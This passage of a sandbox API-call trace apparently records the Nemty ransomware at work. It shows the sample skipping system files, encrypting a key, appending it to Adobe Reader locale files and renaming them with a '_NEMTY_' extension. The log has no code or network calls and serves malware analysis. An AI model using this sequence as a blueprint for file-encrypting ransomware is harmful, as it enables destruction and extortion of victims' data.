cchWideChar=18, lpMultiByteStr=0x4f9ed08, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.KOR", lpUsedDefaultChar=0x0) returned 18 [0179.497] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0179.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0179.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0179.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0179.498] Sleep (dwMilliseconds=0x5) [0179.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ea432d0, dwHighDateTime=0x1d561e8)) [0179.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ea432d0, dwHighDateTime=0x1d561e8)) [0179.507] GetLastError () returned 0x0 [0179.507] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.507] GetLastError () returned 0x0 [0179.507] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.507] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0179.507] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.507] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.507] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.507] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0179.507] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="+TqswA999JCQAqsiU4we9/vAa6lxnjP4FpMtFY8lb1otYAIA2oUzw0YgLy1hiQXd\r\nRl+EUkoQOEV2D5fgnfHZsrcn4IRiqUg4A7B4g9BPpHiSRftDn1IhNZBpoJycUhdr\r\nAi8ZmYnNAo/QuGAYLTKvLKTc5dcJx4DPK6l0h0mNEtAFCQbWvKQYO3/omAvgENtp\r\ncKo6ht8ZadvbFJQDIzo+9fk8larGgXZpRWr/cICLNxPMVmslFE8GQtrZtjIzaeo6\r\n71gn3+lgnYMhoDgp/e93IPNRp8ulMVjSAK4k6ndI60YRjaoJlW7VqLEn4Vs3ajPc\r\nVxpO3+R68Sut0fuQYKmZdg==\r\n", pcchString=0x653e5dc) returned 1 [0179.507] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.507] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0179.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0179.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.508] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\makeaccessible.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\makeaccessible.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.508] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=48128) returned 1 [0179.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbc00) returned 0x6352c48 [0179.508] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.508] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xbc00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xbc00, lpOverlapped=0x0) returned 1 [0179.513] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.513] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xbc00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xbc00, lpOverlapped=0x0) returned 1 [0179.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.513] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=48128, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbc00 [0179.513] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.513] CloseHandle (hObject=0x2e8) returned 1 [0179.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0179.514] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0179.514] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0179.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0179.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340308 [0179.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403c0 [0179.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0179.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0179.514] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\makeaccessible.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\makeaccessible.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\makeaccessible.KOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\makeaccessible.kor._nemty_kgobjgd_")) returned 1 [0179.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c0 | out: hHeap=0x4f90000) returned 1 [0179.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0179.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.515] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6d7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Multimedia.KOR", cAlternateFileName="MULTIM~1.KOR")) returned 1 [0179.515] lstrcmpiW (lpString1="Multimedia.KOR", lpString2=".") returned 1 [0179.515] lstrcmpiW (lpString1="Multimedia.KOR", lpString2="..") returned 1 [0179.515] lstrcmpiW (lpString1="Multimedia.KOR", lpString2="...") returned 1 [0179.515] lstrcmpiW (lpString1="Multimedia.KOR", lpString2="windows") returned -1 [0179.515] lstrcmpiW (lpString1="Multimedia.KOR", lpString2="$RECYCLE.BIN") returned 1 [0179.515] lstrcmpiW (lpString1="Multimedia.KOR", lpString2="rsa") returned -1 [0179.515] lstrcmpiW (lpString1="Multimedia.KOR", lpString2="NTDETECT.COM") returned -1 [0179.515] lstrcmpiW (lpString1="Multimedia.KOR", lpString2="ntldr") returned -1 [0179.515] lstrcmpiW (lpString1="Multimedia.KOR", lpString2="MSDOS.SYS") returned 1 [0179.515] lstrcmpiW (lpString1="Multimedia.KOR", lpString2="IO.SYS") returned 1 [0179.515] lstrcmpiW (lpString1="Multimedia.KOR", lpString2="boot.ini") returned 1 [0179.515] lstrcmpiW (lpString1="Multimedia.KOR", lpString2="boot.ini") returned 1 [0179.515] lstrcmpiW (lpString1="Multimedia.KOR", lpString2="AUTOEXEC.BAT") returned 1 [0179.515] lstrcmpiW (lpString1="Multimedia.KOR", lpString2="ntuser.dat") returned -1 [0179.515] lstrcmpiW (lpString1="Multimedia.KOR", lpString2="desktop.ini") returned 1 [0179.515] lstrcmpiW (lpString1="Multimedia.KOR", lpString2="CONFIG.SYS") returned 1 [0179.515] lstrcmpiW (lpString1="Multimedia.KOR", lpString2="RECYCLER") returned -1 [0179.515] lstrcmpiW (lpString1="Multimedia.KOR", lpString2="BOOTSECT.BAK") returned 1 [0179.515] lstrcmpiW (lpString1="Multimedia.KOR", lpString2="bootmgr") returned 1 [0179.515] lstrcmpiW (lpString1="Multimedia.KOR", lpString2="programdata") returned -1 [0179.515] lstrcmpiW (lpString1="Multimedia.KOR", lpString2="appdata") returned 1 [0179.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.KOR", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0179.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.KOR", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.KOR", lpUsedDefaultChar=0x0) returned 14 [0179.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.KOR", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0179.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.KOR", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.KOR", lpUsedDefaultChar=0x0) returned 14 [0179.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.516] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.KOR", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0179.516] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.KOR", cchWideChar=14, lpMultiByteStr=0x653e8e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.KOR", lpUsedDefaultChar=0x0) returned 14 [0179.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.516] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.KOR", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0179.516] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.KOR", cchWideChar=14, lpMultiByteStr=0x653e918, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.KOR", lpUsedDefaultChar=0x0) returned 14 [0179.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0179.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0179.516] Sleep (dwMilliseconds=0x5) [0179.522] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ea69430, dwHighDateTime=0x1d561e8)) [0179.523] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ea69430, dwHighDateTime=0x1d561e8)) [0179.523] GetLastError () returned 0x0 [0179.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.523] GetLastError () returned 0x0 [0179.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.523] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.523] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.523] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0179.523] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="Z5LGhh3iBGVd/Dvr9U2szE910xZFf8F9ptGXO1pcbRY/iaxR719k5boE1Ak0b6hY\r\nD+uzhu3gwYSRTplnoMxTakm7mflkSMPLh/lAZSLEAFEfeZNQQE57wj6Ye7qieMzz\r\nIOVd087RrrOryYxi5UqEIaGO25enKte7K/t13tLAlMnj7Kv6EkdEpFmXqf6GZj3l\r\nVNqhCzfeUtu4o2QtCMJ0FH6+XI3avKddk1Fn7rLriGmIHp8zBPbCEqdjJWLwafdv\r\naO2CBv58om/wW5xAg3RI0lZIL9QcrLz2IZ0xCi6nTQtLNotjwpzsNlzQ69Oi2jEn\r\nJzNbwGLXxTefpV+bRt+KxQ==\r\n", pcchString=0x653e5dc) returned 1 [0179.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0179.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.523] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Multimedia.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\multimedia.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.524] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=61440) returned 1 [0179.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf000) returned 0x6352c48 [0179.524] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.524] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xf000, lpOverlapped=0x0) returned 1 [0179.529] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.529] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xf000, lpOverlapped=0x0) returned 1 [0179.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.530] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=61440, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf000 [0179.530] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.530] CloseHandle (hObject=0x2e8) returned 1 [0179.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0179.530] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.530] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0179.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0179.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0179.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.530] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Multimedia.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\multimedia.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Multimedia.KOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\multimedia.kor._nemty_kgobjgd_")) returned 1 [0179.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0179.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0179.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.531] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="pddom.KOR", cAlternateFileName="")) returned 1 [0179.531] lstrcmpiW (lpString1="pddom.KOR", lpString2=".") returned 1 [0179.531] lstrcmpiW (lpString1="pddom.KOR", lpString2="..") returned 1 [0179.531] lstrcmpiW (lpString1="pddom.KOR", lpString2="...") returned 1 [0179.531] lstrcmpiW (lpString1="pddom.KOR", lpString2="windows") returned -1 [0179.531] lstrcmpiW (lpString1="pddom.KOR", lpString2="$RECYCLE.BIN") returned 1 [0179.531] lstrcmpiW (lpString1="pddom.KOR", lpString2="rsa") returned -1 [0179.531] lstrcmpiW (lpString1="pddom.KOR", lpString2="NTDETECT.COM") returned 1 [0179.531] lstrcmpiW (lpString1="pddom.KOR", lpString2="ntldr") returned 1 [0179.531] lstrcmpiW (lpString1="pddom.KOR", lpString2="MSDOS.SYS") returned 1 [0179.531] lstrcmpiW (lpString1="pddom.KOR", lpString2="IO.SYS") returned 1 [0179.531] lstrcmpiW (lpString1="pddom.KOR", lpString2="boot.ini") returned 1 [0179.531] lstrcmpiW (lpString1="pddom.KOR", lpString2="boot.ini") returned 1 [0179.531] lstrcmpiW (lpString1="pddom.KOR", lpString2="AUTOEXEC.BAT") returned 1 [0179.531] lstrcmpiW (lpString1="pddom.KOR", lpString2="ntuser.dat") returned 1 [0179.531] lstrcmpiW (lpString1="pddom.KOR", lpString2="desktop.ini") returned 1 [0179.531] lstrcmpiW (lpString1="pddom.KOR", lpString2="CONFIG.SYS") returned 1 [0179.532] lstrcmpiW (lpString1="pddom.KOR", lpString2="RECYCLER") returned -1 [0179.532] lstrcmpiW (lpString1="pddom.KOR", lpString2="BOOTSECT.BAK") returned 1 [0179.532] lstrcmpiW (lpString1="pddom.KOR", lpString2="bootmgr") returned 1 [0179.532] lstrcmpiW (lpString1="pddom.KOR", lpString2="programdata") returned -1 [0179.532] lstrcmpiW (lpString1="pddom.KOR", lpString2="appdata") returned 1 [0179.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.532] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.KOR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0179.532] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.KOR", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.KOR", lpUsedDefaultChar=0x0) returned 9 [0179.532] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.532] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.KOR", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0179.532] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.KOR", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.KOR", lpUsedDefaultChar=0x0) returned 9 [0179.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.532] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.532] 